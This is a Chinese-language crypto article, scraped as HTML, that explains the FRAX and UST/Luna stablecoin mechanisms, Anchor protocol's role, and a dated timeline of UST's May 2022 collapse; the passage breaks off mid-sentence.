src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">  FRAX 的 稳 定 机 制  </p><span style="width: 100%;display: block;height: 8px;background: #E6EEF4;margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;">FRAX采取的是混合算法，即</span><span style="font-size: 16px;color: rgb(0, 122, 170);"><strong style="mso-bidi-font-weight:normal;"><span style="font-size: 16px;font-family: Cambria;"><span style="font-size: 16px;font-family: Cambria;">抵押</span> + 算法</span></strong></span><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;">的模式，来维持</span>FRAX与美元锚定的特性。在FRAX协议中，包括稳定代币FRAX （FRAX），治理代币FRAX Shares （FXS）和抵押品的合约池（创世阶段为USDT和USDC）。</span></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;letter-spacing: 0.5px;">与其他算法稳定币类似，FRAX也是通过市场中的套利者来维持与美元的锚定价格，不同的地方在于铸造和销毁时所使用的代币为：抵押代币+治理代币（FXS）。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;">抵押品（抵押代币）与算法（治理代币）的比例叫做</span><span style="font-size: 16px;color: rgb(0, 122, 170);"><strong style="mso-bidi-font-weight:normal;"><span style="font-size: 16px;font-family: Cambria;">抵押比率</span></strong></span><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;">（</span>Collateral Ratio，CR）。</span></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;letter-spacing: 0.5px;">例如，在98%的抵押品比率下，每铸造一枚FRAX都需要0.98美元抵押品，并燃烧0.02美元价值的FXS。每销毁一枚FRAX都可以兑换成0.98美元的抵押品，并铸造的价值0.02美元的FXS。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在FRAX扩张期间，该协议降低了系统的抵押比例，从而降低了支撑所有FRAX的抵押品数量，增加了必须存入的FXS来铸造FRAX。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在收缩期间，协议提高了抵押品所占的比例，以便FXS的赎回者从系统中获得更多的抵押品的抵押品。由于抵押品的价值在增长，从而增加了市场对FRAX的信心。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在最开始，该协议每小时调整一次抵押率，每一次调整0.25%。当FRAX价格在1美元或1美元以上时，函数每小时降低一次抵押品比率，当FRAX价格在1美元以下时，函数每小时提高一次抵押品比率。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">这意味着，如果FRAX价格在某段时间内大部分时间都在1美元或超过1美元，那么抵押品比率将会减少。如果FRAX价格在大多数时候都低于1美元，那么抵押品比率会朝100%方向增长。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">FRAX的抵押 + 算法的模式，保证了FRAX在脱离一定的锚定（脱离到抵押比率）后，拥有着1:1的兑换承诺。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">这意味着FRAX在遇到死亡螺旋时，抵押比率可以作为一个良好的缓冲垫，降低了FRAX继续脱锚的风险，并给予了市场一定的信心，使得FRAX能够重新回锚。</span></section><h3 style="text-align: center;margin: 16px;line-height: 3em;"><span style="color: rgb(0, 122, 170);font-size: 20px;letter-spacing: 2px;"><strong><span style="font-size: 20px;letter-spacing: 0.5px;color: rgb(0, 122, 170);font-family: Calibri;font-weight: bold;">UST</span></strong></span></h3><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">UST全称为Terra USD，它是运行在Terra公链上的锚定美元的算法稳定币，UST在2018年由总部位于新加坡的Terraform Labs推出，其创办人为Do Kwon和Daniel Shin。</span></section><h4 style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Calibri;font-weight: bold;"><br mpa-from-tpl="t"/></span></strong></span></h4><section style="line-height: 1.75em;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">  UST 的 稳 定 机 制  </p><span style="width: 100%;display: block;height: 8px;background: rgb(230, 238, 244);margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;">UST通过与Terra公链中原生代币Luna互相绑定，组成</span><span style="font-size: 16px;color: rgb(0, 122, 170);"><strong style="mso-bidi-font-weight:normal;"><span style="font-size: 16px;font-family: Cambria;">双币销毁铸造</span></strong></span><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;"><span style="font-size: 16px;font-family: Cambria;">模式，来维持</span>UST与美元锚定的特性。</span></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-size: 16px;color: rgb(0, 122, 170);"><strong style="mso-bidi-font-weight:normal;"><span style="font-size: 16px;font-family: Cambria;">双币销毁铸造</span></strong></span><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;">模式具体来说就是：铸造</span>UST需要燃烧同等价值的Luna，反之通过销毁UST来赎回同等价值的Luna。当UST锚定美元的价格发生偏差时，这种情况下在UST和Luna之间就存在着套利的机会。</span></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">维持锚定价格核心算法的金融模型为：</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-family: Cambria;color: rgb(0, 122, 170);font-size: 20px;">• </span><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);">当UST价格大于1时（例如1.01美元），可以通过销毁价值1美元Luna，来铸造1个UST，然后卖出1UST得到1.01美元，获利0.01美元。这样做的结果会导致 UST 通胀，而Luna通缩。此时Luna因供应减少而增值，UST因供应增加而推动价格降至1美元。</span></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="color: rgb(0, 122, 170);font-family: Cambria;font-size: 20px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">• </span>当UST价格小于1时（例如0.99美元），可以用0.99美元买入1UST并销毁，来铸造价值1美元的Luna，然后卖出Luna得到1美元，获利0.01美元。这样做的结果会导致UST通缩，而Luna通胀。此时Luna因供应增加而贬值，UST因供应减少而推动价格回升至1美元。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;">智能合约无法自动地完成上述的操作，完成上述操作的是市场中的</span><span style="font-size: 16px;color: rgb(0, 122, 170);"><strong style="mso-bidi-font-weight:normal;"><span style="font-size: 16px;font-family: Cambria;">套利者</span></strong></span><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;">。套利者通过监控</span>UST与美元的锚定情况，在到达一定价差后进行套利，最后在获取了利润的同时，也间接地维持了UST价格的稳定。</span></span></section><h4 style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Calibri;font-weight: bold;"><br mpa-from-tpl="t"/></span></strong></span></h4><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">   UST 的 发 展   </p><span style="width: 100%;display: block;height: 8px;background: rgb(230, 238, 244);margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p><br/></p><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">提到UST的发展，就不得不提到与其密切相关的Anchor协议。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Anchor 是算法稳定币项目 LUNA 背后团队 Terraform Labs 发布的借贷协议，它的本质为Defi借贷协议。该协议创新地利用了POS代币（LUNA, DOT, SOL, ETH2.0等）的质押收益来作为储备金。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">简单来说，Anchor之所以可以给用户带来稳定的 U 本位收益是因为存款用户不光可以收取利息，还可以额外卖出借款用户的质押收益。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;">Anchor协议最大的特点是提供了极高的年化率（Annual Percentage Yield, APY）。一个提供了</span><span style="font-size: 16px;color: rgb(0, 122, 170);"><strong style="mso-bidi-font-weight:normal;"><span style="font-size: 16px;font-family: Cambria;"><span style="font-size: 16px;font-family: Cambria;">接近</span>20%年化</span></strong></span><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Cambria;">的，“价格不会波动”的“理财”产品势必会在市场上吸引众多的投资者。</span></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">借助着Anchor协议，UST在2021年短短的一年内，流通供应量从2亿美元猛增至80亿美元，并在2022年4月达到185亿。单单在Anchor上进行存款收益的UST就有140亿，占据了50%以上Terra DeFi资金。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.59453125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ae67be77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf24BFVhpvcNF1HjpEXaDdb0qp2A5u1FEBu2ibian2T0hZ01M1aibaxombyLcAaPdbR1u3CCpNvK4enw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Anchor推出的 Borrow V2 支持更多的抵押品种类，从而可以吸引持有这些资产的用户成为新的借款人，同时也能让 Anchor 变得更加稳定。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">但截至UST崩盘前，bLuna 占据了所提供抵押品的65%左右的份额。这实际上是一个隐患，如果Luna暴跌，那么会导致Anchor协议上大规模的清算，从而破坏整个 Anchor 的借贷市场。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5111111111111111" data-s="300,640" style="" data-type="png" data-w="1260" src="https://wechat2rss.xlab.app/img-proxy/?k=279af6c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf24BFVhpvcNF1HjpEXaDdb6X15dqCmMSxPI5NkuJW4JavNCw0Uy4LS2FYhYbicbmEFYbkBibh1xegg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Terra还为UST打造了跨链和线下的生态，使得不同市场的人们都可以参与Anchor的项目中。UST流通量的激增，也推动了它的姐妹代币Luna的价格（购买Luna — 燃烧Luna — 铸造UST）。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Luna由发行价1.3美元，最高涨到了将近120美元，整整翻了约100倍。Luna也因此有了“冲上月球”的口号。</span></section><h4 style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Calibri;font-weight: bold;"><br mpa-from-tpl="t"/></span></strong></span></h4><section style="line-height: 1.75em;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid rgb(19, 57, 98);" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(19, 57, 98);line-height: 22px;letter-spacing: 1px;" data-mid="">   UST 的 复 盘   </p><span style="width: 100%;display: block;height: 8px;background: rgb(230, 238, 244);margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">长期以来，Luna 的支持者和质疑者都显得非常极端。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">支持者们称自己为“Lunatics”大军，每天在推特等社媒平台上攻击和扫荡批评 Luna 机制的言论；质疑者则以“庞氏骗局”为由，期待着 Luna 崩盘之日的到来。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">资本杀手则在背后，始终关注着行业风向，等待着最佳的猎杀时刻。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在美联储宣布再次加息 50 个基点后，机会终于来了。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">5 月以来，纳斯达克指数持续下滑，市场对宏观形势的反应极度悲观，比特币价格也连续数日下跌近 10%，恐慌情绪在整个加密市场迅速蔓延。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">而 Terra 生态核心团队 LFG（Luna Foundation Guard）则宣布将在 5 月 8 日调整 UST-3Crv 流动性池（UST 主要链上交易场所），为组建自己强大的 4pool做准备。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">种种条件为资本围猎制造了一场完美的风暴，于是在 5 月 7 日的晚上，币圈巨鲸们悄然展开了自己布局已久的“围剿计划”。</span></section><p style="text-align: justify;margin: 16px;line-height: 2em;"><span style="font-size: 16px;text-decoration: underline;letter-spacing: 0.5px;"><strong><span style="text-decoration: underline;font-size: 16px;color: rgb(0, 122, 170);font-family: Cambria;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;float: none;display: inline !important;">• </span><span style="text-decoration: underline;font-size: 16px;font-family: Cambria;color: rgb(0, 122, 170);">5月7日晚上 — 5月8日</span></strong></span></p><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Curve上的攻击开始，Terra为准备Curve上的4-pool从UST-3crv撤走1.5亿流动性。有巨鲸（该地址启用于当日）在UST-3Crv池抛售8400万美元的UST，LFG为保持池子平衡，再次撤走1亿美元UST。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">随后2个巨鲸地址从Anchor上撤出了3.6亿的UST存款，同时开始在中心化交易所抛售UST，造成UST短暂脱钩，用户出现恐慌。</span></section><p style="text-align: justify;margin: 16px;line-height: 2em;"><span style="font-size: 16px;text-decoration: underline;letter-spacing: 0.5px;"><span style="text-decoration: underline;font-size: 16px;color: rgb(0, 122, 170);font-family: Cambria;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;float: none;display: inline !important;">•</span><strong><span style="text-decoration: underline;font-size: 16px;font-family: Cambria;color: rgb(0, 122, 170);"> 5月9日</span></strong></span></p><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">LFG宣布开始使用BTC支撑UST，但由于市场环境和BTC的抛售，Luna价格持续下跌60美元附近，近两天的跌幅接近25%，UST价格较为稳定，大约维持在-1%左右的波动，但始终没有回到1美元；</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Luna的市值与UST市值出现倒挂，UST的市值超过了Luna的市值。这两件事情导致市场恐慌蔓延，死亡螺旋开始。</span></section><p style="text-align: justify;margin: 16px;line-height: 2em;"><span style="font-size: 16px;color: rgb(0, 122, 170);text-decoration: underline;letter-spacing: 0.5px;"><strong><span style="text-decoration: underline;color: rgb(0, 122, 170);font-size: 16px;font-family: Cambria;"><span style="text-decoration: underline;color: rgb(0, 122, 170);margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;font-family: Cambria;float: none;overflow-wrap: break-word !important;box-sizing: border-box !important;display: inline !important;">•</span><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="text-decoration: underline;color: rgb(0, 122, 170);margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-family: Cambria;overflow-wrap: break-word !important;box-sizing: border-box !important;"> </span></strong>5月10日</span></strong></span></p><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">即便吸收了超过5.8亿枚UST，LFG在Curve上使UST回锚的努力依然宣告失败，UST在DEX上持续脱钩，救市重点转向中心化交易所。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">同时Luna价格下跌导致大量杠杆类defi借贷被清算（临界线约42美元），导致Luna 价格一波断崖式下跌至约30美元。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">市场传言Terra在寻求融资20亿美元，同时LFG使用BTC救市促使UST回归至0.9美元，但这耗尽了LFG的所有储备金。</span></section><p style="text-align: justify;margin: 16px;line-height: 2em;"><span style="font-size: 16px;color: rgb(0, 122, 170);text-decoration: underline;letter-spacing: 0.5px;"><strong><span style="text-decoration: underline;color: rgb(0, 122, 170);font-size: 16px;font-family: Cambria;"><span style="text-decoration: underline;color: rgb(0, 122, 170);margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;font-family: Cambria;float: none;overflow-wrap: break-word !important;box-sizing: border-box !important;display: inline !important;">•</span><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="text-decoration: underline;color: rgb(0, 122, 170);margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-family: Cambria;overflow-wrap: break-word !important;box-sizing: border-box !important;"> </span></strong>5月11日</span></strong></span></p><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">市场传言Terra融资失败，UST大幅脱锚，最低跌至0.3美元。</span></section><section style="text-align: left;margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-size: 16px;color: rgb(84, 84, 84);font-family: Cambria;">Do Kwon 发表Twitter</span><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;">，宣布由Luna和UST的套利机制使UST回归锚定，即放弃Luna，保UST，Luna开始恶性通胀同时价格暴跌，死亡螺旋加速。</span></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 